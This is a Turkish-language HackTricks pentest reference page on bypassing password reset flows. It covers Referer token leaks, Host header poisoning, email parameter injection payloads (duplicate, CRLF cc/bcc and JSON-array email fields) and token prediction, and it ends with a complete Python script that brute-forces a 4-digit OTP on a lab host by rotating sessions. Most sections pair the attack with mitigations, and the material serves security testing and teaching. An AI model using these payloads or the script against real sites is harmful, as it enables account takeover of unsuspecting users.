Sıfırlama/Unutulmuş Şifre Bypass
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Referans Üzerinden Şifre Sıfırlama Tokeni Sızıntısı
- HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir.
- Etkisi: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme.
- Sömürü: Bir şifre sıfırlama tokeninin referer başlığında sızıp sızmadığını kontrol etmek için, şifre sıfırlama talebi yapın ve sağlanan sıfırlama bağlantısına tıklayın. Şifrenizi hemen değiştirmeyin. Bunun yerine, Burp Suite kullanarak istekleri yakalarken üçüncü taraf bir web sitesine (Facebook veya Twitter gibi) gidin. Referer başlığının şifre sıfırlama tokenini içerip içermediğini görmek için istekleri inceleyin, çünkü bu, hassas bilgilerin üçüncü taraflara ifşa olmasına neden olabilir.
- Referanslar:
- HackerOne Raporu 342693
- HackerOne Raporu 272379
- Şifre Sıfırlama Tokeni Sızıntısı Makalesi
Şifre Sıfırlama Zehirleme
- Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir.
- Etkisi: Sıfırlama tokenlerinin saldırganlara sızdırılması yoluyla potansiyel hesap ele geçirme.
- Azaltma Adımları:
- Host başlığını izin verilen alanların beyaz listesi ile doğrulayın.
- Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın.
- Yaman:
$_SERVER['SERVER_NAME']
kullanarak şifre sıfırlama URL'lerini oluşturun,$_SERVER['HTTP_HOST']
yerine. - Referanslar:
- Şifre Sıfırlama Zehirleme Üzerine Acunetix Makalesi
E-posta Parametresini Manipüle Ederek Şifre Sıfırlama
Saldırganlar, sıfırlama bağlantısını saptırmak için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir.
- Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin.
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Saldırgan e-posta adresini ikinci parametre olarak %20 kullanarak ekleyin
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin.
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin.
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Saldırgan e-posta adresini ikinci parametre olarak bcc kullanarak ekleyin
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Saldırgan e-posta adresini ikinci parametre olarak ekleyin,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- Saldırgan e-posta adresini JSON dizisinde ikinci parametre olarak ekleyin.
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Azaltma Adımları:
- E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın.
- Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın.
- Referanslar:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
API Parametreleri ile Herhangi Bir Kullanıcının E-posta ve Şifresini Değiştirme
- Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve şifre parametrelerini değiştirebilir.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Azaltma Adımları:
- Sıkı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır.
- Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın.
- Referans:
- API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme
Hız Sınırlandırması Yok: E-posta Bombardımanı
- Şifre sıfırlama taleplerinde hız sınırlaması olmaması, kullanıcıyı sıfırlama e-postalarıyla boğabilir.
- Azaltma Adımları:
- IP adresine veya kullanıcı hesabına dayalı hız sınırlaması uygulayın.
- Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın.
- Referanslar:
- HackerOne Raporu 280534
Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulun
- Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
- Zaman Damgasına Dayalı
- Kullanıcı ID'sine Dayalı
- Kullanıcının E-posta Adresine Dayalı
- Ad ve Soyadına Dayalı
- Doğum Tarihine Dayalı
- Kriptografi Temelli
- Azaltma Adımları:
- Token üretimi için güçlü, kriptografik yöntemler kullanın.
- Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağladığınızdan emin olun.
- Araçlar: Token'ların rastgeleliğini analiz etmek için Burp Sequencer kullanın.
Tahmin Edilebilir UUID
- UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin:
- Azaltma Adımları:
- Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın.
- Araçlar: GUID'leri analiz etmek ve oluşturmak için guidtool kullanın.
Yanıt Manipülasyonu: Kötü Yanıtı İyi Olanla Değiştir
- Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme.
- Azaltma Adımları:
- Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
- Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
- Referans:
- Canlı Hata Ödül Etkinliğinde Kritik Hata
Süresi Dolmuş Token Kullanma
- Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme.
- Azaltma Adımları:
- Sıkı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.
Brute Force Şifre Sıfırlama Token'ı
- IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma girişimi.
- Azaltma Adımları:
- Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın.
- Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin.
Token'ınızı Kullanmayı Deneyin
- Saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme.
- Azaltma Adımları:
- Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun.
Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama
- Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olun.
- Azaltma Adımları:
- Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın.
Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama
- Sıfırlama token'larının geçersiz hale geleceği bir son kullanma süresi olmalıdır.
- Azaltma Adımları:
- Sıfırlama token'ları için makul bir son kullanma süresi belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın.
Oturumunuzu Değiştirerek OTP Hız Sınırını Aşma
- Web sitesi, yanlış OTP denemelerini izlemek için kullanıcı oturumunu kullanıyorsa ve OTP zayıfsa (<= 4 haneli), OTP'yi etkili bir şekilde brute-force yapabiliriz.
- istismar:
- Sunucu tarafından engellendikten sonra yeni bir oturum token'ı talep edin.
- Örnek kod, bu hatayı rastgele OTP tahmin ederek istismar eder (oturumu değiştirdiğinizde OTP de değişecektir, bu nedenle sıralı bir şekilde brute-force yapamayacağız!):
python
# Şifre sıfırlama ile kimlik doğrulama atlatma
# coderMohammed tarafından
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Saldırı başlatılıyor!")
sleep(3)
print("[+] Bu işlemin tamamlanması yaklaşık 5 dakika sürebilir!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999 arası rastgele sayı
parms["s"] = 164 # önemsiz, sadece ön yüzü etkiler
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # deneme sayısını takip et
out = requests.get(logout,headers=headers) # çıkış yap
mainp = requests.get(root) # başka bir phpssid (token) alır
cookies = out.cookies # oturum kimliğini çıkar
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # yeni oturum ile başlıkları güncelle
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # şifreyi değiştirmek için e-posta gönderir
ter = 0 # 8 denemeden sonra yeni bir oturum almak için ter'i sıfırla
else:
ter += 1
if(len(res.text) == 2292): # kurtarma kodunu doğru aldığınızda sayfanın uzunluğu (test ile elde edildi)
print(len(res.text)) # hata ayıklama bilgisi
print(phpsessid)
reset_data = { # burada şifreyi yeni bir şeyle değiştireceğiz
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Şifre şu şekilde değiştirildi:D37djkamd!")
break
except Exception as e:
print("[+] Saldırı durduruldu")
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.